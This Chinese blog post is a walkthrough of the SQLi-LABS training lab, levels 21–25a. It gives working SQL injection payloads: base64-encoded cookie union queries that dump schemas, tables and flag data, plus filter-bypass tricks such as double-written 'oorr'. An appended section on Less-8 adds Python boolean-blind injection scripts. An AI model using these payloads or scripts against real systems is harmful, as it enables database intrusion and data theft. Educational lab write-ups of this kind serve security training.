SQLi-LABS(21~25a关详解)

本文详细介绍SQLi-LABS系列的Less-21至Less-25a的SQL注入攻击方法,包括如何利用base64编码绕过防御,进行联合查询获取数据库信息,以及面对不同过滤条件时的注入技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQLi-LABS Less-21

查看题目环境

图片图片
登陆给我回显的数据是I LOVE YOU COOKIES。
这题看了网上的wp才知道原来是将我们的uname和passwd都进行base64编码,表示不知道怎么看出来的。

 Cookie:uname=YWRtaW4=

图片

测试注入点

尝试

Cookie= uname=admin'

图片转成base64就是

Cookie= uname=YWRtaW4n

图片
可以发现报错信息如下,通过报错信息可以知道,可以使用’)闭合,又因为前面有回显数据,所以判断可以使用联合查询

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

Cookie: uname=admin') order by 3 #

转base64

Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzICM=

#用于注释掉sql语句后面的内容,最终查出返回的列数为3列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #

转base64

Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKHNjaGVtYV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSkgIw==

这边uname传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) #

转base64

Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKFRBQkxFX05BTUUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSBUQUJMRV9TQ0hFTUE9ImN0ZnRyYWluaW5nIiApICM=

查表中的字段

Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') #

转base64

Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKGNvbHVtbl9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWUgPSAnZmxhZycpICM=

查数据

Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) #

转base64

Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKGZsYWcpIEZST00gY3RmdHJhaW5pbmcuZmxhZykgIw==

SQLi-LABS Less-22

查看题目环境

图片图片
登陆给我回显的数据是I LOVE YOU COOKIES。
因为做完less21,所以直接尝试是不是对uname和passwd进行过base64
图片
可以发现确实是对uname和passwd进行了base64加密

测试注入点

尝试

Cookie= uname=admin"

图片 转成base64就是

Cookie= uname=YWRtaW4i

图片
可以发现报错信息如下,通过报错信息可以知道,可以使用双引号闭合,又因为前面有回显数据,所以判断可以使用联合查询

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程同Less21

SQLi-LABS Less-23

查看题目环境

图片
首先可以看到这题传入id=1后,会有回显,显示出该条记录

测试注入点

构造payload

http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-23/?id=1' or '1'='1

页面正常回显

payload

http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-23/?id=1'and '1'='2

页面无数据显示

由此可以判断出:此处具有Sql注入漏洞

SQL注入

因为前面测得具有回显,所以采取union联合查询
这边发现使用–+或者#注释都会报错,从报错信息看应该是把他们都过滤了,所以这边使用or ‘1’='1闭合后面的单引号
后续详细联合查询可以参考Less1

SQLi-LABS Less-24

查看题目环境

图片
看了网上的大概思路是注册一个用户名为admin’#的用户,然后登陆进去改密码的时候,后台的sql语句会自动构建出修改admin的密码的语句,达到修改admin密码的效果

这题我在buu平台上好像有点问题,所以这边没有能复现了。

SQLi-LABS Less-25

查看题目环境

图片
首先可以看到这题传入id=1后,会有回显,显示出该条记录
同时通过下面的提示我们大概可以看出,这题是过滤了’OR‘和’AND‘
后面测试的时候发现还过滤了#

测试注入点

构造payload

http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-25/?id=1'

图片
通过报错信息可以发现可以使用单引号闭合。
由此可以判断出:此处具有Sql注入漏洞

SQL注入

其实过滤掉or和and对我们注入并没有什么影响,因为我们不需要使用or闭合后面的单引号
找列数因为要用到order,可以双写or绕过,就是oorrder可以绕过
然后#可以使用–+替代
后续详细联合查询参考Less1

SQLi-LABS Less-25a

查看题目环境

图片
首先可以看到这题传入id=1后,会有回显,显示出该条记录
同时通过下面的提示我们大概可以看出,这题是过滤了’OR‘和’AND‘
后面测试的时候发现还过滤了加号和#

测试注入点

构造payload

http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-25a/?id=1 oorr '1'='1'

发现能正常显示,所以应该是数字型注入

SQL注入

找列数因为要用到order,可以双写or绕过,就是oorrder可以绕过
然后又用到or的地方都可以用oorr绕过
后续详细联合查询参考Less1

### SQLi-Labs 第八解析 #### 背景介绍 SQLi-Labs 是一款用于学习和实践 SQL 注入技术的开源工具。第八的目标是通过 SQL 注入漏洞获取数据库的相信息,例如数据库名称或其他敏感数据。 --- #### 技术分析与解决方法 ##### 1. 判断是否存在 SQL 注入漏洞 在本卡中,`index.php?id=1` 参数存在潜在的 SQL 注入风险。可以通过输入特殊字符来验证这一点。例如,当提交 `id=1'` 或者类似的畸形输入时,如果页面返回异常行为(如错误提示或者逻辑变化),则可以初步确认该参数可能存在注入点[^2]。 ##### 2. 探测注入方式 由于题目描述提到没有明显的报错信息,而是依赖于特定反馈机制——即 “You are in...”,因此需要利用布尔盲注的方式逐步推断目标数据库的信息[^4]。 ###### (a) 数据库长度检测 为了高效地提取数据库名字,首先应确定其长度。以下是实现此功能的一个 Python 示例脚本: ```python import requests def get_database_length(): url = "http://localhost/sqli-labs/Less-8/index.php" for i in range(20): # 假设最大可能长度不超过20 payload = f"1' AND LENGTH(DATABASE())>{i}-- " data = {'id': payload} response = requests.get(url, params=data) if 'You are in...........' not in response.text: return i database_length = get_database_length() print(f"The length of the database name is {database_length}.") ``` 上述代码会不断调整条件表达式的阈值直到找到确切的字数为止。 ###### (b) 枚举数据库名称 一旦得知了数据库的名字总共有多少字母组成之后,就可以逐位读取这些字符的内容了。下面展示了一个简单的循环结构用来完成这项任务: ```python def retrieve_database_name(length): db_name = "" charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.-" # 可能使用的字符集 url = "http://localhost/sqli-labs/Less-8/index.php" for pos in range(1, length + 1): for char in charset: payload = f"1' AND SUBSTRING((SELECT DATABASE()),{pos},1)=CHAR({ord(char)})-- " data = {'id': payload} response = requests.get(url, params=data) if 'You are in...........' in response.text: db_name += char break return db_name db_name_result = retrieve_database_name(database_length) print(f"The database name is '{db_name_result}'.") ``` 这段程序基于之前计算出来的长度值逐一测试每一位对应的 ASCII 编码数值,并拼接成完整的字符串形式输出结果[^3]。 --- #### 总结 通过对 Less-8 的深入研究可以看出,在面对无明显错误回显的情况下,采用布尔型时间延迟等隐秘手法同样能够成功实施攻击。然而值得注意的是,在真实环境中进行此类操作往往违反法律法规,请务必仅限于授权范围内练习! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值